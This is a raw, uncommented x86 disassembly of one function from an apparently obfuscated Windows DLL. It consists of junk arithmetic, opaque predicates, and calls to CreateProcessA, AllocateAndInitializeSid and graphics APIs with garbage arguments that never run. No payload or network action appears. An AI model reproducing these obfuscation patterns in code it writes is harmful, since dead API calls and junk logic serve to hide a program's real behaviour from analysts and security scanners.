cmp eax, dword [ebp - 0x208]
jl 0x100318cb
mov dword [ebp - 0x2a0], 1
jmp 0x100318d2
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x210], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e4]
call fcn.1002a918
mov dword [ebp - 0x488], 0x1006d8a0
mov dword [ebp - 0x448], 0x1006d8a4
push 4
lea ecx, [ebp - 0x4bc]
call fcn.1002a894
mov dword [ebp - 4], 9
mov dword [ebp - 0xd4], 0
jmp 0x1003192e
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 4
jge 0x1003194d
push dword [ebp - 0xd4]
lea ecx, [ebp - 0x4bc]
call fcn.1002a943
and dword [eax], 0
jmp 0x10031921
mov byte [ebp - 0x4f], 0
movzx eax, byte [ebp - 0x4f]
test eax, eax
je 0x10031964
push 0x4b0
call dword [sym.imp.USER32.dll_GetParent]
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x100319a4
push 0
push 0x12e7
push 0xe3e
push 0x1ec2
push 0x1393
push 0x739
push 0x1e01
push 0x2377
push 0x1124
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4bc]
call fcn.1002a918
push 2
lea ecx, [ebp - 0x130]
call fcn.1002a894
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x14], 0
push 4
lea ecx, [ebp - 0x9c]
call fcn.1002a894
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x3a8], 5
mov dword [ebp - 0x20], 0
jmp 0x100319f9
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10031a0f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x154], 1
jmp 0x100319f2
mov dword [ebp - 0x20], 0
jmp 0x10031a1f
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10031a3b
push dword [ebp - 0x20]
lea ecx, [ebp - 0x130]
call fcn.1002a943
mov dword [eax], 0xde19d29b
jmp 0x10031a18
mov dword [ebp - 0x20], 0
jmp 0x10031a4b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10031a67
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov dword [eax], 0xd5493e6
jmp 0x10031a44
mov dword [ebp - 0x20], 0
jmp 0x10031a77
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10031a8d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x330], 0x4e2095e0
jmp 0x10031a70
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
and dword [eax], 0
jmp 0x10031ac3
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x320]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x320]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
cmp dword [eax], 2
jg 0x10031c1e
mov dword [ebp - 0x48], 0x4e6d4f28
mov dword [ebp - 0x48], 0
jmp 0x10031af0
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jg 0x10031c19
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x48]
mov esi, dword [ebp + eax*4 - 0x154]
push 4
pop eax
shl eax, 0
mov edi, dword [ebp + eax - 0x154]
push 1
lea ecx, [ebp - 0x130]
call fcn.1002a943
mov ecx, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, dword [ebp + ecx*4 - 0x154]
sub edi, eax
cmp esi, edi
jne 0x10031b4f
mov dword [ebp - 0x218], 1
jmp 0x10031b56
and dword [ebp - 0x218], 0
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x154]
cmp eax, dword [ebp - 0x218]
jge 0x10031b86
cmp dword [ebp - 0x48], 0
je 0x10031b86
mov dword [ebp - 0x2a8], 1
jmp 0x10031b8d
and dword [ebp - 0x2a8], 0
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x450], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x154]
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x154], 0xf5872d9e
jae 0x10031bce
mov dword [ebp - 0x220], 1
jmp 0x10031bd5
and dword [ebp - 0x220], 0
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
mov ecx, dword [ebp - 0x220]
cmp ecx, dword [eax]
jne 0x10031bf8
mov dword [ebp - 0x2e8], 1
jmp 0x10031bff
and dword [ebp - 0x2e8], 0
push 3
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov ecx, dword [ebp - 0x2e8]
mov dword [eax], ecx
jmp 0x10031ae9
jmp 0x10031a9f
mov dword [ebp - 0x14], 0
jmp 0x10031c2e
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10031f96
mov dword [ebp - 0xac], 7
mov dword [ebp - 0x240], 2
mov dword [ebp - 0x3c8], 0xfffffffb
push 3
lea ecx, [ebp - 0x9c]
call fcn.1002a943
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x154]
push 4
pop eax
shl eax, 0
sub esi, dword [ebp + eax - 0x330]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
sub esi, dword [eax]
je 0x10031cab
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x330], 0
mov eax, 0x60ec253d
cmp eax, 0xfffffffd
jae 0x10031cc1
mov dword [ebp - 0x228], 1
jmp 0x10031cc8
and dword [ebp - 0x228], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov ecx, dword [ebp - 0x228]
cmp ecx, dword [eax]
jne 0x10031cfb
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
cmp dword [eax], 0
jne 0x10031cfb
and dword [ebp - 0x2b0], 0
jmp 0x10031d05
mov dword [ebp - 0x2b0], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x330]
cmp dword [ebp - 0x2b0], eax
jl 0x10031d25
mov dword [ebp - 0x378], 1
jmp 0x10031d2c
and dword [ebp - 0x378], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
push 0
lea ecx, [ebp - 0x130]
call fcn.1002a943
mov dword [ebp - 0x230], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov ecx, dword [ebp - 0x230]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x230]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x458], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov esi, dword [ebp - 0xac]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
imul esi, dword [eax]
cmp esi, 0x6dc75df6
jl 0x10031db8
mov dword [ebp - 0x308], 1
jmp 0x10031dbf
and dword [ebp - 0x308], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp - 0x308]
sub esi, dword [ebp + eax - 0x330]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
cmp esi, dword [eax]
jl 0x10031df0
mov dword [ebp - 0x238], 1
jmp 0x10031df7
and dword [ebp - 0x238], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x330]
add eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0x14]
jl 0x10031e1b
mov dword [ebp - 0x2b8], 1
jmp 0x10031e22
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x240], eax
mov esi, dword [ebp - 0x240]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
cmp esi, dword [eax]
jne 0x10031e52
mov dword [ebp - 0x2f0], 1
jmp 0x10031e59
and dword [ebp - 0x2f0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x330]
cmp dword [ebp - 0x2f0], eax
je 0x10031e7f
or eax, 0xffffffff
je 0x10031e7f
mov dword [ebp - 0x248], 1
jmp 0x10031e86
and dword [ebp - 0x248], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x248], eax
jne 0x10031ead
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x154], 0
je 0x10031ead
mov dword [ebp - 0x2c0], 1
jmp 0x10031eb4
and dword [ebp - 0x2c0], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov ecx, dword [ebp - 0x2c0]
cmp ecx, dword [eax]
jle 0x10031ed8
mov dword [ebp - 0x158], 1
jmp 0x10031edf
and dword [ebp - 0x158], 0
push 3
lea ecx, [ebp - 0x9c]
call fcn.1002a943
mov ecx, dword [ebp - 0x158]
cmp ecx, dword [eax]
jl 0x10031f02
mov dword [ebp - 0x260], 1
jmp 0x10031f09
and dword [ebp - 0x260], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
cmp dword [ebp - 0x260], eax
jle 0x10031f2a
mov dword [ebp - 0x258], 1
jmp 0x10031f31
and dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x3a8]
cmp dword [ebp - 0x258], eax
jne 0x10031f4b
mov dword [ebp - 0x380], 1
jmp 0x10031f52
and dword [ebp - 0x380], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002a943
xor eax, eax
cmp eax, 0x688afc00
jge 0x10031f7b
cmp dword [ebp - 0xac], 0
jne 0x10031f7b
and dword [ebp - 0x264], 0
jmp 0x10031f85
mov dword [ebp - 0x264], 1
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x3c8], eax
jmp 0x10031c27
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x9c]
call fcn.1002a918
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.1002a918
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x1a4], 0xfe9a5a16
mov dword [ebp - 0x1c4], 0x1a078351
mov dword [ebp - 0x1dc], 0x694486ca
mov dword [ebp - 0x2c], 0xf
jmp 0x10031fe9
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff3
jl 0x100322da
push 2
lea ecx, [ebp - 0x114]
call fcn.1002a894
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x3b0], 0xffdeabfd
mov dword [ebp - 0xf8], 0
jmp 0x10032031
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 2
jge 0x10032053
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov dword [eax], 0x32a27689
jmp 0x10032024
mov dword [ebp - 0x78], 1
jmp 0x10032063
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x100320a8
mov byte [ebp - 0x53], 0
movzx eax, byte [ebp - 0x53]
test eax, eax
je 0x10032092
push 0
push 0
push 0
push 0
push 0xf6b
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov byte [ebp - 0x55], 0
movzx eax, byte [ebp - 0x55]
test eax, eax
je 0x100320a6
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x1003205c
push 1
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c]
test eax, eax
je 0x100320d5
mov eax, 0xfff9
test eax, eax
je 0x100320d5
mov dword [ebp - 0x188], 1
jmp 0x100320dc
and dword [ebp - 0x188], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x188], eax
jl 0x10032105
push 1
lea ecx, [ebp - 0x114]
call fcn.1002a943
cmp dword [eax], 0
je 0x10032105
mov dword [ebp - 0x18c], 1
jmp 0x1003210c
and dword [ebp - 0x18c], 0
push 1
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov eax, dword [eax]
cmp eax, dword [ebp - 0x18c]
jge 0x10032141
push 0
lea ecx, [ebp - 0x114]
call fcn.1002a943
cmp dword [eax], 0
je 0x10032141
mov dword [ebp - 0x388], 1
jmp 0x10032148
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4d0], eax
push 0
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov esi, eax
push 0
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x1003217f
mov dword [ebp - 0x194], 1
jmp 0x10032186
and dword [ebp - 0x194], 0
cmp dword [ebp - 0x194], 0x72c34ccb
je 0x1003219e
mov dword [ebp - 0x19c], 1
jmp 0x100321a5
and dword [ebp - 0x19c], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x78], eax
jl 0x100321ce
mov dword [ebp - 0x1ac], 1
jmp 0x100321d5
and dword [ebp - 0x1ac], 0
cmp dword [ebp - 0x1ac], 0x5c9b
jg 0x100321ed
mov dword [ebp - 0x1b4], 1
jmp 0x100321f4
and dword [ebp - 0x1b4], 0
push 1
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov ecx, dword [ebp - 0x1b4]
cmp ecx, dword [eax]
jle 0x10032217
mov dword [ebp - 0x1bc], 1
jmp 0x1003221e
and dword [ebp - 0x1bc], 0
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jne 0x10032245
cmp dword [ebp - 0x1dc], 0
jne 0x10032245
and dword [ebp - 0x1cc], 0
jmp 0x1003224f
mov dword [ebp - 0x1cc], 1
push 1
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov esi, eax
push 1
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov ecx, dword [ebp - 0x1cc]
add ecx, dword [eax]
cmp dword [esi], ecx
jl 0x10032283
mov dword [ebp - 0x1d4], 1
jmp 0x1003228a
and dword [ebp - 0x1d4], 0
push 0
lea ecx, [ebp - 0x114]
call fcn.1002a943
mov ecx, dword [ebp - 0x1d4]
cmp ecx, dword [eax]
jne 0x100322ad
mov dword [ebp - 0x1e4], 1
jmp 0x100322b4
and dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x3b0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.1002a918
jmp 0x10031fe2
mov byte [0x10788794], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x74], 0xfffffffc
mov dword [ebp - 0xd0], 0xc2e6
mov dword [ebp - 0xf0], 0xc2f92e6c
mov dword [ebp - 0x204], 0x93f6
push 1
lea ecx, [ebp - 0x3c0]
call fcn.1002a894
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x25c], 3
mov dword [ebp - 0xe0], 0
jmp 0x10032347
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 1
jge 0x10032369
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x3c0]
call fcn.1002a943
mov dword [eax], 7
jmp 0x1003233a
mov byte [ebp - 0x57], 0
movzx eax, byte [ebp - 0x57]
test eax, eax
je 0x10032385
push 0x7b6
push 0x167c
call dword [sym.imp.USER32.dll_MonitorFromWindow]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x1003239f
mov dword [ebp - 0x74], 0xec32
cmp dword [ebp - 0x74], 0
mov dword [ebp - 0x74], 0x978d8ef0
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x8c]
cmp eax, 0xfffffff8
jge 0x100323c0
mov dword [ebp - 0x1ec], 1
jmp 0x100323c7
and dword [ebp - 0x1ec], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x1ec], eax
jg 0x100323e1
mov dword [ebp - 0x1f4], 1
jmp 0x100323e8
and dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x1f4], eax
je 0x10032402
mov dword [ebp - 0x1fc], 1
jmp 0x10032409
and dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0xf0]
je 0x1003242c
cmp dword [ebp - 0x204], 0
je 0x1003242c
mov dword [ebp - 0x20c], 1
jmp 0x10032433
and dword [ebp - 0x20c], 0
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0x20c], eax
jg 0x1003244d
mov dword [ebp - 0x214], 1
jmp 0x10032454
and dword [ebp - 0x214], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x214], eax
jge 0x1003246e
mov dword [ebp - 0x21c], 1
jmp 0x10032475
and dword [ebp - 0x21c], 0
push 0
lea ecx, [ebp - 0x3c0]
call fcn.1002a943
mov ecx, dword [ebp - 0x21c]
cmp ecx, dword [eax]
je 0x10032498
mov dword [ebp - 0x224], 1
jmp 0x1003249f
and dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x224]
jge 0x100324b9
mov dword [ebp - 0x22c], 1
jmp 0x100324c0
and dword [ebp - 0x22c], 0
push 0
lea ecx, [ebp - 0x3c0]
call fcn.1002a943
mov esi, dword [ebp - 0x22c]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x3c0]
call fcn.1002a943
cmp esi, dword [eax]
jg 0x100324f3
mov dword [ebp - 0x234], 1
jmp 0x100324fa
and dword [ebp - 0x234], 0
cmp dword [ebp - 0x234], 0
je 0x1003250f
mov dword [ebp - 0x390], 1
jmp 0x10032516
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x460], eax
mov eax, 0xfffe
test eax, eax
jne 0x10032537
mov dword [ebp - 0x23c], 1
jmp 0x1003253e
and dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0x23c]
sub eax, dword [ebp - 0xd0]
mov dword [ebp - 0xf0], eax
je 0x10032575
or eax, 0xffffffff
je 0x10032575
cmp dword [ebp - 0x25c], 0
je 0x10032575
cmp dword [ebp - 0xd0], 0
je 0x10032575
mov dword [ebp - 0x244], 1
jmp 0x1003257c
and dword [ebp - 0x244], 0
cmp dword [ebp - 0x244], 0xfffffff9
jge 0x10032591
mov dword [ebp - 0x24c], 1
jmp 0x10032598
and dword [ebp - 0x24c], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x24c]
jl 0x100325b2
mov dword [ebp - 0x254], 1
jmp 0x100325b9
and dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x25c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c0]
call fcn.1002a918
mov dword [ebp - 0x4a0], 0x99ac7894
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp - 0x59]
test eax, eax
je 0x1003260b
push 0x2091
push 0x5c
push 0x1711
push 0x2037
push 0x97e
push 0x199a
call dword [sym.imp.GDI32.dll_PatBlt]
mov byte [ebp - 0x5b], 0
movzx eax, byte [ebp - 0x5b]
test eax, eax
je 0x10032622
push 0x390
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x3d8], 0x1c6e
cmp dword [ebp - 0x3d8], 0x555
jge 0x100326e1
lea eax, [ebp - 0x84]
push eax
push 0x10008150
call fcn.1004eb00
pop ecx
pop ecx
cmp eax, 1
jne 0x100326e1
mov byte [ebp - 0x19], 0
cmp dword [ebp - 0x84], 1
jle 0x100326bc
movzx eax, byte [ebp - 0x19]
test eax, eax
jne 0x10032684
mov eax, dword [ebp - 0x84]
add eax, 8
cdq
push 9
pop ecx
idiv ecx
mov dword [ebp - 0x84], eax
jmp 0x10032696
mov eax, dword [ebp - 0x84]
inc eax
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x84], eax
movzx eax, byte [ebp - 0x19]
test eax, eax
jne 0x100326aa
mov dword [ebp - 0x274], 1
jmp 0x100326b1
and dword [ebp - 0x274], 0
mov al, byte [ebp - 0x274]
mov byte [ebp - 0x19], al
jmp 0x1003265c
movzx eax, byte [ebp - 0x19]
test eax, eax
je 0x100326d1
push 0x1000846c
call fcn.1004f342
pop ecx
jmp 0x100326dc
push 0x10008478
call fcn.1004f342
pop ecx
jmp 0x1003263c
xor eax, eax
inc eax
imul eax, eax, 0x148
add eax, 0x1006d690
mov dword [ebp - 0x180], eax
xor eax, eax
inc eax
imul eax, eax, 0x1c
add eax, 0x1006d690
mov dword [ebp - 0x124], eax
push 4
lea ecx, [ebp - 0x4cc]
call fcn.1002a894
mov dword [ebp - 4], 0xe
mov dword [ebp - 0xb0], 0
jmp 0x10032733
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 4
jge 0x10032752
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x4cc]
call fcn.1002a943
and dword [eax], 0
jmp 0x10032726
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x10032769
push 0x4b0
call dword [sym.imp.USER32.dll_GetParent]
mov byte [ebp - 0x56], 0
movzx eax, byte [ebp - 0x56]
test eax, eax
je 0x100327a9
push 0
push 0x12e7
push 0xe3e
push 0x1ec2
push 0x1393
push 0x739
push 0x1e01
push 0x2377
push 0x1124
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4cc]
call fcn.1002a918
mov eax, dword [ebp - 0x180]
mov dword [0x1006d8a0], eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x29c], 0xfe9a5a16
mov dword [ebp - 0x15c], 0x1a078351
mov dword [ebp - 0x170], 0x694486ca
mov dword [ebp - 0x30], 0xf
jmp 0x100327f8
cmp dword [ebp - 0x30], 0xfffffff3
jl 0x10032ae9
push 2
lea ecx, [ebp - 0x108]
call fcn.1002a894
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x360], 0xffdeabfd
mov dword [ebp - 0xb4], 0
jmp 0x10032840
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x10032862
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x108]
call fcn.1002a943
mov dword [eax], 0x32a27689
jmp 0x10032833
mov dword [ebp - 0x7c], 1
jmp 0x10032872
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jl 0x100328b7
mov byte [ebp - 0x4c], 0
movzx eax, byte [ebp - 0x4c]
test eax, eax
je 0x100328a1
push 0
push 0
push 0
push 0
push 0xf6b
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov byte [ebp - 0x5c], 0
movzx eax, byte [ebp - 0x5c]
test eax, eax
je 0x100328b5
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x1003286b
push 1
lea ecx, [ebp - 0x108]
call fcn.1002a943
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x30]
test eax, eax
je 0x100328e4
mov eax, 0xfff9
test eax, eax
je 0x100328e4
mov dword [ebp - 0x27c], 1
jmp 0x100328eb
and dword [ebp - 0x27c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x27c], eax
jl 0x10032914
push 1
lea ecx, [ebp - 0x108]
call fcn.1002a943
cmp dword [eax], 0
je 0x10032914
mov dword [ebp - 0x284], 1
jmp 0x1003291b
and dword [ebp - 0x284], 0
push 1
lea ecx, [ebp - 0x108]
call fcn.1002a943
mov eax, dword [eax]
cmp eax, dword [ebp - 0x284]
jge 0x10032950
push 0
lea ecx, [ebp - 0x108]
call fcn.1002a943
cmp dword [eax], 0
je 0x10032950
mov dword [ebp - 0x398], 1
jmp 0x10032957
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x468], eax
push 0
lea ecx, [ebp - 0x108]
call fcn.1002a943
mov esi, eax
push 0
lea ecx, [ebp - 0x108]
call fcn.1002a943
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x1003298e
mov dword [ebp - 0x28c], 1
jmp 0x10032995
and dword [ebp - 0x28c], 0
cmp dword [ebp - 0x28c], 0x72c34ccb
je 0x100329ad
mov dword [ebp - 0x294], 1
jmp 0x100329b4
and dword [ebp - 0x294], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x7c], eax
jl 0x100329dd
mov dword [ebp - 0x2a4], 1
jmp 0x100329e4
and dword [ebp - 0x2a4], 0
cmp dword [ebp - 0x2a4], 0x5c9b
jg 0x100329fc
mov dword [ebp - 0x2ac], 1
jmp 0x10032a03
and dword [ebp - 0x2ac], 0
push 1
lea ecx, [ebp - 0x108]
call fcn.1002a943
mov ecx, dword [ebp - 0x2ac]
cmp ecx, dword [eax]
jle 0x10032a26
mov dword [ebp - 0xbc], 0xf6af1124
mov dword [ebp - 0xbc], 0xffffffee
jmp 0x10032b0c
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x17
jge 0x10032b78
mov dword [ebp - 0xc4], 0
jmp 0x10032b2e
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jge 0x10032b4a
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x40c], 0xfffe
jmp 0x10032b21
mov byte [ebp - 0x49], 0
movzx eax, byte [ebp - 0x49]
test eax, eax
je 0x10032b64
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x40c], 0
je 0x10032b76
jmp 0x10032b78
jmp 0x10032aff
mov eax, dword [ebp - 0x124]
mov dword [0x1006d8a4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x124]
mov edx, dword [edx + eax]
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax + ecx]
call fcn.10030573
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x404], 0x99ac7894
mov byte [ebp - 0x58], 0
movzx eax, byte [ebp - 0x58]
test eax, eax
je 0x10032be3
push 0x2091
push 0x5c
push 0x1711
push 0x2037
push 0x97e
push 0x199a
call dword [sym.imp.GDI32.dll_PatBlt]
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp - 0x50]
test eax, eax
je 0x10032bfa
push 0x390
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x44], 0xfffffffe
jmp 0x10032c11
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x16
je 0x10032c52
mov dword [ebp - 0x88], 0x71d976ff
mov dword [ebp - 0x88], 0
jmp 0x10032c3a
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xfffffffb
jle 0x10032c50
cmp dword [ebp - 0x88], 0
je 0x10032c4e
jmp 0x10032c50
jmp 0x10032c2d
jmp 0x10032c0a
mov dword [ebp - 0x44], 0
jmp 0x10032c62
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xfffffff9
jne 0x10032c97
mov byte [ebp - 0x65], 0
movzx eax, byte [ebp - 0x65]
test eax, eax
je 0x10032c7c
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov byte [ebp - 0x52], 0
movzx eax, byte [ebp - 0x52]
test eax, eax
je 0x10032c95
push 0
push 0xac
call dword [sym.imp.USER32.dll_GetWindowPlacement]
jmp 0x10032c5b
push dword [ebp - 0x124]
mov edx, 0x1006d63c
mov ecx, dword [ebp - 0x35c]
call fcn.1003057f
pop ecx
mov esi, 0x1006d8a0
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret